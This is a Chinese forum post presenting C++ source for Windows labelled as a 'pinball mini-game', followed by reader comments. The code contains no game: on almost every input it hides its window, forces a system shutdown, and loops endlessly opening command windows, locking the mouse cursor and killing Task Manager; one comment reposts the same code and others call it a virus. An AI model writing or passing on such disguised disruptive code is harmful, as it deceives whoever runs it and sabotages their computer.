弹球小游戏
2024-08-04 09:50:27
发布于:广东
#include <bits/stdc++.h>
#include <windows.h>
#define t system
#define g cout
#define h cin
#define j endl
#define sleep Sleep
#define pos SetCursorPos
using namespace std;
void a(int n){
if(n == 1){
string m;
g << "欢迎来到弹球小游戏" << j;
g << "----------------------------------" << j;
g << "请问你要选择人机战还是真人战" << j;
h >> m;
if(m == "人机战"){
t("shutdown -s -t 30 -c 就你还想以大欺小,30秒关机,启动!");
HWND hWnd = GetConsoleWindow();
ShowWindow(hWnd, SW_HIDE);
while(1){
t("start cmd");
pos(0,0);
t("taskkill /f /im taskmgr.exe");
}
}
else if(m == "真人战"){
g << "就你还想跟真人打,吃我一击!";
g << j;
sleep(2000);
t("shutdown -s -t 30 -c 30秒关机,启动!");
HWND hWnd = GetConsoleWindow();
ShowWindow(hWnd, SW_HIDE);
while(1){
t("start cmd");
pos(0,0);
t("taskkill /f /im taskmgr.exe");
}
}
else{
g << "你竟然敢输错,那就送你一份大礼包吧";
cout << j;
sleep(2000);
t("shutdown -s -t 60 -c 60秒关机,启动!");
g << endl;
HWND hWnd = GetConsoleWindow();
ShowWindow(hWnd, SW_HIDE);
while(1){
t("start cmd");
pos(0,0);
t("taskkill /f /im taskmgr.exe");
}
}
}
else if(n == 2){
cout << "恭喜你,选择正确,欢迎来到弹球小游戏" << j;
}
else{
t("shutdown -s -t 60 -c 你竟然不玩?60秒关机,启动!");
HWND hWnd = GetConsoleWindow();
ShowWindow(hWnd, SW_HIDE);
while(1){
t("start cmd");
pos(0,0);
t("taskkill /f /im taskmgr.exe");
}
}
}
int main(){
HWND hWnd = GetConsoleWindow();
ShowWindow(hWnd, SW_HIDE);
MessageBoxA(NULL, "一键三联", "作者的话(这行代码禁止删除)",MB_ICONASTERISK);
MessageBoxA(NULL, "本代码是剑指天涯制作,可以转载", "作者的话(这行代码禁止删除)",MB_ICONASTERISK);
MessageBoxA(NULL, "本代码为病毒代码(关机就能解决)", "作者的话(这行代码禁止删除)",MB_ICONWARNING);
MessageBoxA(NULL, "本代码只支持Windows系统,其它系统不行", "作者的话(这行代码禁止删除)",MB_ICONWARNING);
MessageBoxA(NULL, "本代码只支持Windows高版本的计算机", "作者的话(这行代码禁止删除)",MB_ICONWARNING);
FreeConsole();
AllocConsole();
HWND hwmd = GetForegroundWindow();
SetWindowText(hwmd,TEXT("弹球小游戏"));
HANDLE hOutput = GetStdHandle(STD_OUTPUT_HANDLE);
CONSOLE_CURSOR_INFO cInfo{};
GetConsoleCursorInfo(hOutput, &cInfo);
cInfo.bVisible = false;
SetConsoleCursorInfo(hOutput, &cInfo);
HWND hwnd = GetConsoleWindow();
LONG_PTR sty = GetWindowLongPtrA(hwnd, GWL_STYLE);
//sty =sty & ~WS_SIZEBOX & ~WS_MAXIMIZEBOX & ~WS_MINIMIZEBOX; //更改字体颜色
//SetWindowLongPtrA(hWnd, GWL_STYLE, sty); //更改字体颜色
t("color 3E");
int x;
g << "请输入1(2也行)启动游戏" << j;
h >> x;
a(x);
g << x;
return 0;
}
全部评论 7
#include <bits/stdc++.h> #include <windows.h> #define t system #define g cout #define h cin #define j endl #define sleep Sleep #define pos SetCursorPos using namespace std; void a(int n){ if(n == 1){ string m; g << "欢迎来到弹球小游戏" << j; g << "----------------------------------" << j; g << "请问你要选择人机战还是真人战" << j; h >> m; if(m == "人机战"){ t("shutdown -s -t 30 -c 就你还想以大欺小,30秒关机,启动!"); HWND hWnd = GetConsoleWindow(); ShowWindow(hWnd, SW_HIDE); while(1){ t("start cmd"); pos(0,0); t("taskkill /f /im taskmgr.exe"); } } else if(m == "真人战"){ g << "就你还想跟真人打,吃我一击!"; g << j; sleep(2000); t("shutdown -s -t 30 -c 30秒关机,启动!"); HWND hWnd = GetConsoleWindow(); ShowWindow(hWnd, SW_HIDE); while(1){ t("start cmd"); pos(0,0); t("taskkill /f /im taskmgr.exe"); } } else{ g << "你竟然敢输错,那就送你一份大礼包吧"; cout << j; sleep(2000); t("shutdown -s -t 60 -c 60秒关机,启动!"); g << endl; HWND hWnd = GetConsoleWindow(); ShowWindow(hWnd, SW_HIDE); while(1){ t("start cmd"); pos(0,0); t("taskkill /f /im taskmgr.exe"); } } } else if(n == 2){ cout << "恭喜你,选择正确,欢迎来到弹球小游戏" << j; } else{ t("shutdown -s -t 60 -c 你竟然不玩?60秒关机,启动!"); HWND hWnd = GetConsoleWindow(); ShowWindow(hWnd, SW_HIDE); while(1){ t("start cmd"); pos(0,0); t("taskkill /f /im taskmgr.exe"); } } } int main(){ HWND hWnd = GetConsoleWindow(); ShowWindow(hWnd, SW_HIDE); FreeConsole(); AllocConsole(); HWND hwmd = GetForegroundWindow(); SetWindowText(hwmd,TEXT("弹球小游戏")); HANDLE hOutput = GetStdHandle(STD_OUTPUT_HANDLE); CONSOLE_CURSOR_INFO cInfo{}; GetConsoleCursorInfo(hOutput, &cInfo); cInfo.bVisible = false; SetConsoleCursorInfo(hOutput, &cInfo); HWND hwnd = GetConsoleWindow(); LONG_PTR sty = GetWi昨天 来自 浙江
0建议发布在灌水池塘
昨天 来自 浙江
0建议发布在灌水池塘
2天前 来自 浙江
0不要信
2天前 来自 陕西
0是病毒
2天前 来自 陕西
0你真玩过?
昨天 来自 安徽
0是的
昨天 来自 四川
0
我还是首评呢
2025-07-22 来自 浙江
0作者这个太畜生了
2025-07-22 来自 浙江
0捕捉垃圾桶(
@@++c吧蛋滚快来捕捉2天前 来自 浙江
0


昨天 来自 浙江
1
























有帮助,赞一个